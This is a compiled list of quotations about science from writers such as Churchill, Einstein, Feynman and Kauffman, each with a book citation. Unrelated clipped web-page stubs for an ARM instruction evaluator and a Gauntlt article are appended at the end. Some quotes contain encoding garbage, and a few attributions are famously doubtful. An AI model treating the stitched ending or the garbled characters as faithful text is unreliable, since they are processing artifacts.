Some of my cousins who had the great advantage of University education used to tease me with arguments to prove that nothing has any existence except what we think of it. ... These amusing mental acrobatics are all right to play with.They are perfectly harmless and perfectly useless. ... I always rested on the following argument... We look up to the sky and see the sun. Our eyes are dazzled and our senses record the fact. So here is this great sun standing apparently on no better foundation than our physical senses. But happily there is a method, apart altogether from our physical senses, of testing the reality of the sun. It is by mathematics. By means of prolonged processes of mathematics, entirely separate from the senses, astronomers are able to calculate when an eclipse will occur. They predict by pure reason that a black spot will pass across the sun on a certain day. You go and look, and your sense of sight immediately tells you that their calculations are vindicated. So here you have the evidence of the senses reinforced by the entirely separate evidence of a vast independent process of mathematical reasoning. We have taken what is called in military map-making "a cross bearing." ... When my metaphysical friends tell me that the data on which the astronomers made their calculations, were necessarily obtained originally through the evidence of the senses, I say, "no." They might, in theory at any rate, be obtained by automatic calculating-machines set in motion by the light falling upon them without admixture of the human senses at any stage. When it is persisted that we should have to be told about the calculations and use our ears for that purpose, I reply that the mathematical process has a reality and virtue in itself, and that once discovered it constitutes a new and independent factor. I am also at this point accustomed to reaffirm with emphasis my conviction that the sun is real, and also that it is hot--in fact hot as Hell, and that if the metaphysicians doubt it they should go there and see.
Winston S. Churchill, My Early Life, Fontana, London, 1972, pp 123-124. (1) Newer edition available from Amazon.com
Churchill, Winston S.
...man will occasionally stumble over the truth, but usually manages to pick himself up, walk over or around it, and carry on.
Quoted in: Irving Klotz, Bending perception, a book review, Nature, 1996, Volume 379, p 412 (1).
Crick, Francis
(1916-) b. Northampton, England
When the war finally came to an end, I was at a loss as to what to do... I took stock of my qualifications. A not-very-good degree, redeemed somewhat by my achievements at the Admiralty. A knowledge of certain restricted parts of magnetism and hydrodynamics, neither of them subjects for which I felt the least bit of enthusiasm. No published papers at all... Only gradually did I realize that this lack of qualification could be an advantage. By the time most scientists have reached age thirty they are trapped by their own expertise. They have invested so much effort in one particular field that it is often extremely difficult, at that time in their careers, to make a radical change. I, on the other hand, knew nothing, except for a basic training in somewhat old-fashioned physics and mathematics and an ability to turn my hand to new things... Since I essentially knew nothing, I had an almost completely free choice...
Francis Crick, What Mad Pursuit, Basic Books, New York, 1988, pp 15-16. (1) Available from Amazon.com
Cuppy, Will
1884-1949
Some fishes become extinct, but Herrings go on forever. Herrings spawn at all times and places and nothing will induce them to change their ways. They have no fish control. Herrings congregate in schools, where they learn nothing at all. They move in vast numbers in May and October. Herrings subsist upon Copepods and Copepods subsist upon Diatoms and Diatoms just float around and reproduce. Young Herrings or Sperling or Whitebait are rather cute. They have serrated abdomens. The skull of the Common or Coney Island Herring is triangular, but he would be just the same anyway. (The nervous system of the Herring is fairly simple. When the Herring runs into something the stimulus is flashed to the forebrain, with or without results.)
Will Cuppy, How to Become Extinct, University of Chicago Press, Chicago, 1984, p. 13. (1) Available from Amazon.com
Darwin, Charles
To suppose that the eye with all its inimitable contrivances for adjusting the focus to different distances, for admitting different amounts of light, and for the correction of spherical and chromatic aberration, could have been formed by natural selection, seems, I confess, absurd in the highest degree.
Charles Darwin, The Origin of Species, John Murray, London, 1859. (1) Newer edition available from Amazon.com
Davy, Sir Humphrey
Nothing tends so much to the advancement of knowledge as the application of a new instrument. The native intellectual powers of men in different times are not so much the causes of the different success of their labours, as the peculiar nature of the means and artificial resources in their possession.
Thomas Hager, Force of Nature, Simon ans Schuster, New York, 1995, p 86. (1) Available from Amazon.com
Drake, Frank
(1930-) b. Chicago, Illinois
"I know perfectly well that at this moment the whole universe is listening to us," Jean Giraudoux wrote in The Madwoman of Chaillot, "and that every word we say echoes to the remotest star." That poetic paranoia is a perfect description of what the Sun, as a gravitational lens, could do for the Search for Extraterrestrial Intelligence.
Frank Drake and Dava Sobel, Is Anyone Out There? Dell Publishing, New York, 1994, p.232. (1) Available from Amazon.com
Dyson, Freeman
(On the anthropogenic increase in atmospheric carbon dioxide concentration)
The essential fact which emerges ... is that the three smallest and most active reservoirs ( of carbon in the global carbon cycle), the atmosphere, the plants and the soil, are all of roughly the same size. This means that large human disturbance of any one of these reservoirs will have large effects on all three. We cannot hope either to understand or to manage the carbon in the atmosphere unless we understand and manage the trees and the soil too. 
Freeman Dyson, From Eros to Gaia, Penguin Books, London, New York, 1993, pp 132-133. Newer edition available from Amazon.com
Dyson, Freeman
The technologies which have had the most profound effects on human life are usually simple. A good example of a simple technology with profound historical consequences is hay. Nobody knows who invented hay, the idea of cutting grass in the autumn and storing it in large enough quantities to keep horses and cows alive through the winter. All we know is that the technology of hay was unknown to the Roman Empire but was known to every village of medieval Europe. Like many other crucially important technologies, hay emerged anonymously during the so-called Dark Ages. According to the Hay Theory of History, the invention of hay was the decisive event which moved the center of gravity of urban civilization from the Mediterranean basin to Northern and Western Europe. The Roman Empire did not need hay because in a Mediterranean climate the grass grows well enough in winter for animals to graze. North of the Alps, great cities dependent on horses and oxen for motive power could not exist without hay. So it was hay that allowed populations to grow and civilizations to flourish among the forests of Northern Europe. Hay moved the greatness of Rome to Paris and London, and later to Berlin and Moscow and New York.
Freeman Dyson Infinite in All Directions, Harper and Row, New York, 1988, p 135. Available from Amazon.com
Eddington, Sir Arthur
(1882-1944) b. England
For the truth of the conclusions of physical science, observation is the supreme Court of Appeal. It does not follow that every item which we confidently accept as physical knowledge has actually been certified by the Court; our confidence is that it would be certified by the Court if it were submitted. But it does follow that every item of physical knowledge is of a form which might be submitted to the Court. It must be such that we can specify (although it may be impracticable to carry out) an observational procedure which would decide whether it is true or not. Clearly a statement cannot be tested by observation unless it is an assertion about the results of observation. Every item of physical knowledge must therefore be an assertion of what has been or would be the result of carrying out a specified observational procedure.
Sir Arthur Eddington, The Philosophy of Physical Science, Ann Arbor Paperbacks, The University of Michigan Press, 1958, pp 9-10. Available from Amazon.com
Eddington, Sir Arthur
(1882-1944) b. England
Let us suppose that an ichthyologist is exploring the life of the ocean. He casts a net into the water and brings up a fishy assortment. Surveying his catch, he proceeds in the usual manner of a scientist to systematise what it reveals. He arrives at two generalisations:
(1) No sea-creature is less than two inches long.
(2) All sea-creatures have gills.
These are both true of his catch, and he assumes tentatively that they will remain true however often he repeats it.
In applying this analogy, the catch stands for the body of knowledge which constitutes physical science, and the net for the sensory and intellectual equipment which we use in obtaining it. The casting of the net corresponds to observation; for knowledge which has not been or could not be obtained by observation is not admitted into physical science.
An onlooker may object that the first generalisation is wrong. "There are plenty of sea-creatures under two inches long, only your net is not adapted to catch them." The icthyologist dismisses this objection contemptuously. "Anything uncatchable by my net is ipso facto outside the scope of icthyological knowledge. In short, "what my net can't catch isn't fish." Or--to translate the analogy--"If you are not simply guessing, you are claiming a knowledge of the physical universe discovered in some other way than by the methods of physical science, and admittedly unverifiable by such methods. You are a metaphysician. Bah!"
Sir Arthur Eddington, The Philosophy of Physical Science, Ann Arbor Paperbacks, The University of Michigan Press, 1958, p 16. Available from Amazon.com
Einstein, Albert
(1879-1955) b. Germany
(To a student)
Dear Miss ---
I have read about sixteen pages of your manuscript ... I suffered exactly the same treatment at the hands of my teachers who disliked me for my independence and passed over me when they wanted assistants ... keep your manuscript for your sons and daughters, in order that they may derive consolation from it and not give a damn for what their teachers tell them or think of them. ... There is too much education altogether.
Albert Einstein, The World as I See It, The Wisdom Library, New York, 1949, pp 21-22. (1) Newer edition available from Amazon.com
Einstein, Albert
(Written in old age) I have never belonged wholeheartedly to a country, a state, nor to a circle of friends, nor even to my own family.
When I was still a rather precocious young man, I already realized most vividly the futility of the hopes and aspirations that most men pursue throughout their lives.
Well-being and happiness never appeared to me as an absolute aim. I am even inclined to compare such moral aims to the ambitions of a pig.
Quoted in C.P. Snow, Variety of Men, Penguin Books, Harmondsworth, U.K. 1969, p 77. (1) Available from Amazon.com
Feynman, Richard P.
(1918-1988) b. Far Rockaway, New York
What I am going to tell you about is what we teach our physics students in the third or fourth year of graduate school... It is my task to convince you not to turn away because you don't understand it. You see my physics students don't understand it... That is because I don't understand it. Nobody does.
Richard P. Feynman, QED, The Strange Theory of Light and Matter, Penguin Books, London, 1990, p 9. (1) Different edition available from Amazon.com
Frisch, Max
(1911-) b. Switzerland
Technology is the knack of so arranging the world that we do not experience it.
Rollo May, The Cry for Myth, Norton, New York, p 57. (4) ;Available from Amazon.com
Gell-Mann, Murray
In 1963, when I assigned the name "quark" to the fundamental constituents of the nucleon, I had the sound first, without the spelling, which could have been "kwork." Then, in one of my occasional perusals of Finnegans Wake, by James Joyce, I came across the word "quark" in the phrase "Three quarks for Muster Mark." Since "quark" (meaning, for one thing, the cry of a gull) was clearly intended to rhyme with "Mark," as well as "bark" and other such words, I had to find an excuse to pronounce it as "kwork." But the book represents the dreams of a publican named Humphrey Chimpden Earwicker. Words in the text are typically drawn from several sources at once, like the "portmanteau words" in Through the Looking Glass. From time to time, phrases occur in the book that are partially determined by calls for drinks at the bar. I argued, therefore, that perhaps one of the multiple sources of the cry "Three quarks for Muster Mark" might be "Three quarts for Mister Mark," in which case the pronunciation "kwork" would not be totally unjustified. In any case, the number three fitted perfectly the way quarks occur in nature.
Murray Gell-Mann, The Quark and the Jaguar, W.H. Freeman, New York, 1994, pp 180-181. (1)
Hawking, Stephen W.
(1942-) b. Oxford, England
Even if there is only one possible unified theory, it is just a set of rules and equations. What is it that breathes fire into the equations and makes a universe for them to describe? The usual approach of science of constructing a mathematical model cannot answer the questions of why there should be a universe for the model to describe. Why does the universe go to all the bother of existing?
Stephen W. Hawking, A Brief History of Time: From the Big Bang to Black Holes, Bantam, NY, 1988, p 174. Available from Amazon.com
Hawking, Stephen W.
There are grounds for cautious optimism that we may now be near the end ofthe search for the ultimate laws of nature.
Stephen W. Hawking, A Brief History of Time: From the Big Bang to Black Holes, Bantam, NY, 1988, p 157. Available from Amazon.com
Ingram, Jay W.
I once read that if the folds in the cerebral cortex were smoothed out it would cover a card table. That seemed quite unbelievable but it did make me wonder just how big the cortex would be if you ironed it out. I thought it might just about cover a family-sized pizza: not bad, but no card-table. I was astonished to realize that nobody seems to know the answer. A quick search yielded the following estimates for the smoothed out dimensions of the cerebral cortex of the human brain.
An article in Bioscience in November 1987 by Julie Ann Miller claimed the cortex was a "quarter-metre square." That is napkin-sized, about ten inches by ten inches. Scientific American magazine in September 1992 upped the ante considerably with an estimated of 1 1/2 square metres; thats a square of brain forty inches on each side, getting close to the card-table estimate. A psychologist at the University of Toronto figured it would cover the floor of his living room (I haven't seen his living room), but the prize winning estimate so far is from the British magazine New Scientist's poster of the brain published in 1993 which claimed that the cerebral cortex, if flattened out, would cover a tennis court. How can there be such disagreement? How can so many experts not know how big the cortex is? I don't know, but I'm on the hunt for an expert who will say the cortex, when fully spread out, will cover a football field. A Canadian football field.
Jay Ingram, The Burning House, Unlocking the Mysteries of the Brain Penguin Books, Harmondsworth, U.K., 1995 p 11.
John Paul II, Pope (Karol Wojtyla)
(1920-) b. Wadowice, Poland
Science can purify religion from error and superstition. Religion can purify science from idolatry and false absolutes.
James Reston, Galileo, A Life, HarperCollins, NY, 1994, p 461. (1) Available from Amazon.com
Johnson, George
The weapons laboratory of Los Alamos stands as a reminder that our very power as pattern finders can work against us, that it is possible to discern enought of the universe's underlying order to tap energy so powerful that it can destroy its discoverers or slowly poison them with its waste.
George Johnson Fire in the Mind, Vintage Books, New York, 1996, p 326. (1) Available from Amazon.com
Johnson, Samuel, Dr.
(1709-1784) b. Lichfield, England
Swallows certainly sleep all winter. A number of them conglobulate together, by flying round and round, and then all in a heap throw themselves under water, and lye in the bed of a river.
James Boswell The Life of Samuel Johnson, LL.D., 3rd Edn., Malone, London, 1799 (Abridged Edn., The New American Library, NY, 1968, p 192.) Available from Amazon.com
Kauffman, Stuart
Life emerged, I suggest, not simple, but complex and whole, and has remained complex and whole ever sinceï¿1⁄2not because of a mysterious ï¿1⁄2lan vital, but thanks to the simple, profound transformation of dead molecules into an organization by which each molecule's formation is catalyzed by some other molecule in the organization. The secret of life, the wellspring of reproduction, is not to be found in the beauty of Watson-Crick pairing, but in the achievement of collective catalytic closure. So, in another sense, lifeï¿1⁄2complex, whole, emergentï¿1⁄2is simple after all, a natural outgrowth of the world in which we live.
Stuart Kauffman At Home in the Universe, Oxford University Press, 1995, pp 47-48. Available from Amazon.com
Kauffman, Stuart
If biologists have ignored self-organization, it is not because self-ordering is not pervasive and profound. It is because we biologists have yet to understand how to think about systems governed simultaneously by two sources of order, Yet who seeing the snowflake, who seeing simple lipid molecules cast adrift in water forming themselves into cell-like hollow lipid vesicles, who seeing the potential for the crystallization of life in swarms of reacting molecules, who seeing the stunning order for free in networks linking tens upon tens of thousands of variables, can fail to entertain a central thought: if ever we are to attain a final theory in biology, we will surely, surely have to understand the commingling of self-organization and selection. We will have to see that we are the natural expressions of a deeper order. Ultimately, we will discover in our creation myth that we are expected after all.
Stuart Kauffman At Home in the Universe, Oxford University Press, 1995, p 112. Available from Amazon.com
Kauffman, Stuart
Pick up a pinecone and count the spiral rows of scales. You may find eight spirals winding up to the left and 13 spirals winding up to the right, or 13 left and 21 right spirals, or other pairs of numbers. The striking fact is that these pairs of numbers are adjacent numbers in the famous Fibonacci series: 1, 1, 2, 3, 5, 8, 13, 21... Here, each term is the sum of the previous two terms. The phenomenon is well known and called phyllotaxis. Many are the efforts of biologists to understand why pinecones, sunflowers, and many other plants exhibit this remarkable pattern. Organisms do the strangest things, but all these odd things need not reflect selection or historical accident. Some of the best efforts to understand phyllotaxis appeal to a form of self-organization. Paul Green, at Stanford, has argued persuasively that the Fibonacci series is just what one would expects as the simplest self-repeating pattern that can be generated by the particular growth processes in the growing tips of the tissues that form sunflowers, pinecones, and so forth. Like a snowflake and its sixfold symmetry, the pinecone and its phyllotaxis may be part of order for free
Stuart Kauffman At Home in the Universe, Oxford University Press, 1995, p 151. (1) Available from Amazon.com
Kaku, Michio
It is often stated that of all the theories proposed in this century, the silliest is quantum theory. In fact, some say that the only thing that quantum theory has going for it is that it is unquestionably correct.
Michio Kaku Hyperspace, Oxford University Press, 1995, p 263. (1)Available from Amazon.com
Kaku, Michio
There are many examples of old, incorrect theories that stubbornly persisted, sustained only by the prestige of foolish but well-connected scientists. ... Many of these theories have been killed off only when some decisive experiment exposed their incorrectness. .. Thus the yeoman work in any science, and especially physics, is done by the experimentalist, who must keep the theoreticians honest.
Michio Kaku Hyperspace, Oxford University Press, 1995, p 263. (1) Available from Amazon.com
Kealey, Terence
There is a central myth about British science and economic growth, and it goes like this: science breeds wealth, Britain is in economic decline, therefore Britain has not done enough science. Actually, it is easy to show that a key cause of Britain's economic decline has been that the government has funded too much science...
Post-war British science policy illustrates the folly of wasting money on research. The government decided, as it surveyed the ruins of war-torn Europe in 1945, that the future lay in computers, nuclear power and jet aircraft, so successive administrations poured money into these projects--to vast technical success. The world's first commercial mainframe computer was British, sold by Ferrranti in 1951; the world's first commercial jet aircraft was British, the Comet, in service in 1952; the first nuclear power station was British, Calder Hall, commissioned in 1956; and the world's first and only supersonic commercial jet aircraft was Anglo-French, Concorde, in service in 1976.
Yet these technical advances crippled us economically, because they were so uncommercial. The nuclear generation of electricity, for example, had lost 2.1 billion pounds by 1975 (2.1 billion pounds was a lot then); Concord had lost us, alone, 2.3 billion pounds by 1976; the Comet crashed and America now dominates computers. Had these vast sums of money not been wasted on research, we would now be a significantly richer country.
Terence Kealey Wasting Billions, the Scientific Way, The Sunday Times, October 13, 1996. (1)
Keynes, John Maynard
The difficulty lies, not in the new ideas, but in escaping the old ones, which ramify, for those brought up as most of us have been, into every corner of our minds.
Quoted in: K. Eric Drexler Engines of Creation: the Coming Era of Nanotechnology, Bantam, New York, 1987, p 231. (1) Available from Amazon.com
Lewis, C.S.
(1898-1963) b. Ireland
There is something which unites magic and applied science while separating both from the 'wisdom' of earlier ages. For the wise men of old the cardinal problem had been how to conform the soul to reality, and the solution had been knowledge, self-discipline, and virtue. for magic and applied science alike the problem is how to subdue reality to the wishes of men: the solution is a technique; and both, in the practice of this technique, are ready to do things hitherto regarded as disgusting and impious--such as digging up and mutilating the dead.
If we compare the chief trumpeter of the new era (Bacon) with Marlowe's Faustus, the similarity is striking. You will read in some critics that Faustus has a thirst for knowledge. In reality he hardly mentions it. It is not truth he wants from the devils, but gold and guns and girls. In the same spirit, Bacon condemns those who value knowledge as an end in itself... The true object is to extend Man's power to the performance of all things possible. He rejects magic because it does not work; but his goal is that of the magician...
No doubt those who really founded modern science were usually those whose love of truth exceeded their love of power; in every mixed movement the efficacy comes from the good elements not from the bad. But the presence of bad elements in not irrelevant to the direction the efficacy takes. It might be going too far to say that the modern scientific movement was tainted from its birth; but I think it would be true to say that it was born in an unhealthy neighbourhood and at an inauspicious hour. Its triumphs may have been too rapid and purchased at too high a price: reconsideration, and something like repentance, may be required.
Lewis, C.S. The Abolition of Man, Collins, Fount Paperback, 1978, p. 46. (1) Available from Amazon.com
Leakey, Richard and Roger Lewin
It has taken biologists some 230 years to identify and describe three quarters of a million insects; if there are indeed at least thirty million, as Erwin (Terry Erwin, the Smithsonian Institute) estimates, then, working as they have in the past, insect taxonomists have ten thousand years of employment ahead of them. Ghilean Prance, director of the Botanical Gardens in Kew, estimates that a complete list of plants in the Americas would occupy taxonomists for four centuries, again working at historical rates.
Richard Leakey and Roger Lewin, 1995, The Sixth Extinction, Anchor, New York, pp 122-123. Available from Amazon.com
Lippmann, Walter
Without offering any data on all that occurs between conception and the age of kindergarten, they announce on the basis of what they have got out of a few thousand questionnaires that they are measuring the hereditary mental endowment of human beings. Obviously, this is not a conclusion obtained by research. It is a conclusion planted by the will to believe. It is, I think, for the most part unconsciously planted ... If the impression takes root that these tests really measure intelligence, that they constitute a sort of last judgment on the child's capacity, that they reveal "scientifically" his predestined ability, then it would be a thousand times better if all the intelligence testers and all their questionnaires were sunk in the Sargasso Sea.
In the course of a debate with Lewis Terman: quoted in Stephen Jay Gould, The Mismeasure of Man, W.W. Norton and Co., Ltd, NY, 1996, p 181. (1)
Lucretius
(99 B.C.-55 B.C.) b. Rome
(On the temperature of water in wells)
The reason why the water in wells becomes colder in summer is that the earth is then rarefied by the heat, and releases into the air all the heat-particles it happens to have. So, the more the earth is drained of heat, the colder becomes the moisture that is concealed in the ground. On the other hand, when all the earth condenses and contracts and congeals with the cold, then, of course, as it contracts, it squeezes out into the wells whatever heat it holds.
Lucretius On the nature of things (De Rerum Natura), Sphere Books, London, 1969, p. 233. (1) Newer edition available from Amazon.com
Mencken, H(enry) L(ouis)
(1880-1956) b. Baltimore, MD
The value the world sets upon motives is often grossly unjust and inaccurate. Consider, for example, two of them: mere insatiable curiosity and the desire to do good. The latter is put high above the former, and yet it is the former that moves one of the most useful men the human race has yet produced: the scientific investigator. What actually urges him on is not some brummagem idea of Service, but a boundless, almost pathological thirst to penetrate the unknown, to uncover the secret, to find out what has not been found out before. His prototype is not the liberator releasing slaves, the good Samaritan lifting up the fallen, but a dog sniffing tremendously at an infinite series of rat-holes.
Mencken, H.L., Reprinted in A Mencken Crestomathy, Vintage Books, New York, 1982, p. 12, first printed in the Smart Set, Aug. 1919, pp 60-61. (1)
Michelson, Albert, Abraham
(1852-1931) b. Germany
(In 1903)
The most important fundamental laws and facts of physical science have all been discovered, and these are now so firmly established that the possibility of their ever being supplemented in consequence of new discoveries is exceedingly remote.
Quoted by Peter Coveney and Roger Highfield in The Arrow of Time, Flamingo, London 1991, p 67. Available from Amazon.com
Mill, John Stuart
The tendency has always been strong to believe that whatever received a name must be an entity or being, having an independent existence of its own. And if no real entity answering to the name could be found, men did not for that reason suppose that none existed, but imagined that it was something peculiarly abstruse and mysterious.
Quoted in Stephen Jay Gould, The Mismeasure of Man, W.W. Norton and Co., Ltd, NY, 1996, p 181. (1)
Monod, Jacques
Biology occupies a position among the sciences at once marginal and central. Marginal because--the living world constituting but a tiny and very "special" part of the universe--it does not seem likely that the study of living beings will ever uncover general laws applicable outside the biosphere. But if the ultimate aim of the whole of science is indeed, as I believe, to clarify man's relationship to the universe, then biology must be accorded a central position...
Jacques Monod Chance and Necessity Alfred A. Knopf, New York, 1971, p xi. (1) Available from Amazon.com
Newton, Isaac
(1642-1727) b. Woolsthorpe, England
If I have seen further than others, it is by standing upon the shoulders of giants.

On how he made discoveries
By always thinking unto them. I keep the subject constantly before me and wait till the first dawnings open little by little into the full light.
E.N. da C. Andrade, Sir Isaac Newton, His Life and Work, Doubleday Anchor, New York, 1950, p. 35. (1) Newer edition available from Amazon.com
Pasteur, Louis
(1822-1892) b. Dôle, France
Science knows no country, because knowledge belongs to humanity, and is the torch which illuminates the world. Science is the highest personification of the nation because that nation will remain the first which carries the furthest the works of thought and intelligence.
René Dubos, Pasteur and Modern Science, Doubleday, Garden City, NY, 1960, p. 145. (1) Available from Amazon.com
Chance favors the prepared mind. 
Quoted in H. Eves Return to Mathematical Circles, Prindle, Wever and Schmidt, Boston, 1988. (2) Available from Amazon.com
Pauling, Linus
(1901-1994) b. Portland, Oregon
I recognize that many physicists are smarter than I am--most of them theoretical physicists. A lot of smart people have gone into theoretical physics, therefore the field is extremely competitive. I console myself with the thought that although they may be smarter and may be deeper thinkers than I am, I have broader interests than they have.
Linus Pauling, The Meaning of Life, Edited by David Friend and the editors of Life, Little Brown, New York, 1990, p. 69. (6)
Polanyi, John C.
(1929-) b. Berlin, Germany
(Concerning the allocation of research funds) It is folly to use as one's guide in the selection of fundamental science the criterion of utility. Not because (scientists)... despise utility. But because. .. useful outcomes are best identified after the making of discoveries, rather than before.
John C. Polanyi. Excerpt from the keynote address to the Canadian Society for the Weizmann Institute of Science, Toronto June 2, 1996.
Polanyi, John C.
Faced with the admitted difficulty of managing the creative process, we are doubling our efforts to do so. Is this because science has failed to deliver, having given us nothing more than nuclear power, penicillin, space travel, genetic engineering, transistors, and superconductors? Or is it because governments everywhere regard as a reproach activities they cannot advantageously control? They felt that way about the marketplace for goods, but trillions of wasted dollars later, they have come to recognize the efficiency of this self-regulating system. Not so, however, with the marketplace for ideas.
John C. Polanyi In Martin Moskovits (Ed.), Science and Society, the John C. Polanyi Nobel Lareates Lectures, Anansi Press, Concord, Ontario, 1995, p 8. (1) Available from Amazon.com
Postman, Neil
Educators may bring upon themselves unnecessary travail by taking a tactless and unjustifiable position about the relation between scientific and religious narratives. We see this, of course, in the conflict concerning creation science. Some educators representing, as they think, the conscience of science act much like those legislators who in 1925 prohibited by law the teaching of evolution in Tennessee. In that case, anti-evolutionists were fearful that a scientific idea would undermine religious belief. Today, pro-evolutionists are fearful that a religious idea will undermine scientific belief. The former had insufficient confidence in religion; the latter insufficient confidence in science. The point is that profound but contradictory ideas may exist side by side, if they are constructed from different materials and methods and have different purposes. Each tells us something important about where we stand in the universe, and it is foolish to insist that they must despise each other.
Neil Postman, The End of Education, Alfred Knopf, New York, 1995, p 107. (1) Available from Amazon.com
Postman, Neil
(19??-) b. New York, USA
"The scientific method," Thomas Henry Huxley once wrote, "is nothing but the normal working of the human mind." That is to say, when the mind is working; that is to say further, when it is engaged in corrrecting its mistakes.
Taking this point of view, we may conclude that science is not physics, biology, or chemistry--is not even a "subject"--but a moral imperative drawn from a larger narrative whose purpose is to give perspective, balance, and humility to learning.
Neil Postman, The End of Education, Alfred A. Knopf, New York, 1995, p 68. Available from Amazon.com
Russell, Bertrand, Arthur, William
(1872-1970) b. England
Every living thing is a sort of imperialist, seeking to transform as much as possible of its environment into itself... When we compare the (present) human population of the globe with... that of former times, we see that "chemical imperialism" has been... the main end to which human intelligence has been devoted.
Bertrand Russell, An Outline of Philosophy, Meridian Books, Cleveland and New York, 1960, pp 31-32. (1) Newer edition available from Amazon.com
Russell, Bertrand, Arthur, William
Almost everything that distinguishes the modern world from earlier centuries is attibutable to science, which achieved its most spectacular triumphs in the seventeenth century.
Bertrand Russell, History of Western Philosophy, Allen and Unwin, London, 1979, p 512. (6) Available from Amazon.com
Snow, C(harles) P(ercy)
(1905-1980) b. Leicester, England
...Einstein, twenty-six years old, only three years away from crude privation, still a patent examiner, published in the Annalen der Physik in 1905 five papers on entirely different subjects. Three of them were among the greatest in the history of physics. One, very simple, gave the quantum explanation of the photoelectric effect--it was this work for which, sixteen years later he was awarded the Nobel prize. Another dealt with the phenomenon of Brownian motion, the apparently erratic movement of tiny particles suspended in a liquid: Einstein showed that these movements satisfied a clear statistical law. This was like a conjuring trick, easy when explained: before it, decent scientists could still doubt the concrete existence of atoms and molecules: this paper was as near direct proof of their concreteness as a theoretician could give. The third paper was the special theory of relativity, which quietly amalgamated space, time and matter into one fundamental unity.
This last paper contains no references and quotes no authority. All of them are written in a style unlike any other theoretical physicist's. They contain very little mathematics. There is a good deal of verbal commentary. The conclusions, the bizarre conclusions, emerge as though with the greatest of ease: the reasoning is unbreakable. It looks as though he had reached the conclusions by pure thought, unaided, without listening to the opinions of others. To a surprisingly large extent, that is precisely what he had done.
It is pretty safe to say that, so long as physics lasts, no one will again hack out three major breakthroughs in one year.
C.P. Snow, Variety of Men, Penguin Books, Harmondsworth, U.K. 1969, pp 85-86. (1) Available from Amazon.com
Szent-Györgyi, Albert
(1893-1984) b. Hungary
Basic research may seem very expensive. I am a well-paid scientist. My hourly wage is equal to that of a plumber, but sometimes my research remains barren of results for weeks, months or years and my conscience begins to bother me for wasting the taxpayer's money. But in reviewing my life's work, I have to think that the expense was not wasted. Basic research, to which we owe everything, is relatively very cheap when compared with other outlays of modern society. The other day I made a rough calculation which led me to the conclusion that if one were to add up all the money ever spent by man on basic research, one would find it to be just about equal to the money spent by the Pentagon this past year.
Albert Szent-Györgyi, The Crazy Ape, Grosset and Dunlap, New York, 1971, p 72. (6) Available from Amazon.com
Szent-Györgyi, Albert
Our nervous system developed for one sole purpose, to maintain our lives and satisfy our needs. All our reflexes serve this purpose. this makes us utterly egotistic. With rare exceptions people are really interested in one thing only: themselves. Everybody, by necessity, is the center of his own universe.
When the human brain took its final shape, say, 100,000 years ago, problems and solutions must have been exceedingly simple. There were no long-range problems and man had to grab any immediate advantage. The world has changed but we are still willing to sell more distant vital interests for some minor immediate gains. Our military industrial complex, which endangers the future of mankind, to a great extent owes its stability to the fact that so may people depend on it for their living.
This holds true for all of us, including myself. When I received the Nobel Prize, the only big lump sum of money I have ever seen, I had to do something with it. The easiest way to drop this hot potato was to invest it, to buy shares. I knew World War II was coming and I was afraid that if I had shares which rise in case of war, I would wish for war. So I asked my agent to buy shares which go down in the event of war. This he did. I lost my money and saved my soul.
Albert Szent-Györgyi, The Crazy Ape, Grosset and Dunlap, New York, 1971, p 72. (6) Available from Amazon.com
Turing, Alan, Mathison
(1912-1954) b. London, England
(1943, New York: the Bell Labs Cafeteria) His high pitched voice already stood out above the general murmur of well-behaved junior executives grooming themselves for promotion within the Bell corporation. Then he was suddenly heard to say: "No, I'm not interested in developing a powerful brain. All I'm after is just a mediocre brain, something like the President of the American Telephone and Telegraph Company."
Andrew Hodges, Alan Turing the Enigma of Intelligence, Unwin Hyman, London, 1983, p 251. (1)
Twain, Mark (Clemens, Samuel, Langhorne)
(1835-1910) b. Florida, Missouri
Man is the Reasoning Animal. Such is the claim. I think it is open to dispute. Indeed, my experiments have proven to me that he is the Unreasoning Animal... In truth, man is incurably foolish. Simple things which other animals easily learn, he is incapable of learning. Among my experiments was this. In an hour I taught a cat and a dog to be friends. I put them in a cage. In another hour I taught them to be friends with a rabbit. In the course of two days I was able to add a fox, a goose, a squirrel and some doves. Finally a monkey. They lived together in peace; even affectionately.
Next, in another cage I confined an Irish Catholic from Tipperary, and as soon as he seemed tame I added a Scotch Presbyterian from Aberdeen. Next a Turk from Constantinople; a Greek Christian from Crete; an Armenian; a Methodist from the wilds of Arkansas; a Buddhist from China; a Brahman from Benares. Finally, a Salvation Army Colonel from Wapping. Then I stayed away for two whole days. When I came back to note results, the cage of Higher Animals was all right, but in the other there was but a chaos of gory odds and ends of turbans and fezzes and plaids and bones and flesh--not a specimen left alive. These Reasoning Animals had disagreed on a theological detail and carried the matter to a Higher Court.
Mark Twain, Letters from the Earth, A Fawcett Crest Book, Greenwich, Conn., 1962, pp 180-181. (1) Available from Amazon.com
Watson, Thomas (Founder of IBM)
I think there's a world market for about five computers.
Quoted by Charles Hard Townes In Martin Moskovits (Ed.), Science and Society, the John C. Polanyi Nobel Lareates Lectures, Anansi Press, Concord, Ontario, 1995, p 8. (1) Available from Amazon.com
Woolley, Richard (U.K. Astronomer Royal)
(In 1956, one year before Sputnik)
Space travel is utter bilge.
Quoted by Charles Hard Townes In Martin Moskovits (Ed.), Science and Society, the John C. Polanyi Nobel Lareates Lectures, Anansi Press, Concord, Ontario, 1995, p 8. (1) Available from Amazon.com

List of Contributors
The number in parenthesis following a quotation identifies the contributor in the following numbered list.
(1) The Editor
(2) James K. Love (jklove@compassnet.com) and William D. Ross (billross@deepcove.com)
(3) Bruce Miller (Bruce.Miller@hq.gte.com)
(4) Cited by Neil Postman in The End of Education, Alfred Knopf, NY, 1995, p 10.
(5) Dr. John Hetherington, Department of Psychology, Southern Illinois University, Carbondale, IL 62901-6502, USA, "sawtooth@siu.edu."
(6) Cited by Thomas Hager in Force of Nature, Simon and Schuster, New York, 1995.
(7) Cited by Peter Coveney and Roger Highfield in The Arrow of Time, Flamingo, London 1991

﻿http://svr-acjf3-armie.cl.cam.ac.uk/main.cgi 
ARM instruction evaluator
Created:
8/14/2014 11:24:36 AM
Updated:
8/14/2014 11:24:36 AM
Author:

Tags:
asm arm


ARM instruction evaluator
| Home | About | Learn more | Feedback | 
Enter an instruction to run...
    
Architecture:


Instruction set:

 
Processor mode:


Byte order:


If-Then block:


Machine code:
   

Assembly code:
   
 

Lookup an instruction...
    
Mnemonic:

 
 
 
 
﻿https://www.kainos.com/closer-look-gauntlt/ 
A closer look at Gauntlt | Kainos
Created:
4/19/2018 5:40:26 AM
Updated:
4/19/2018 5:40:26 AM
Author:
wishi
Tags:





A closer look at Gauntlt 
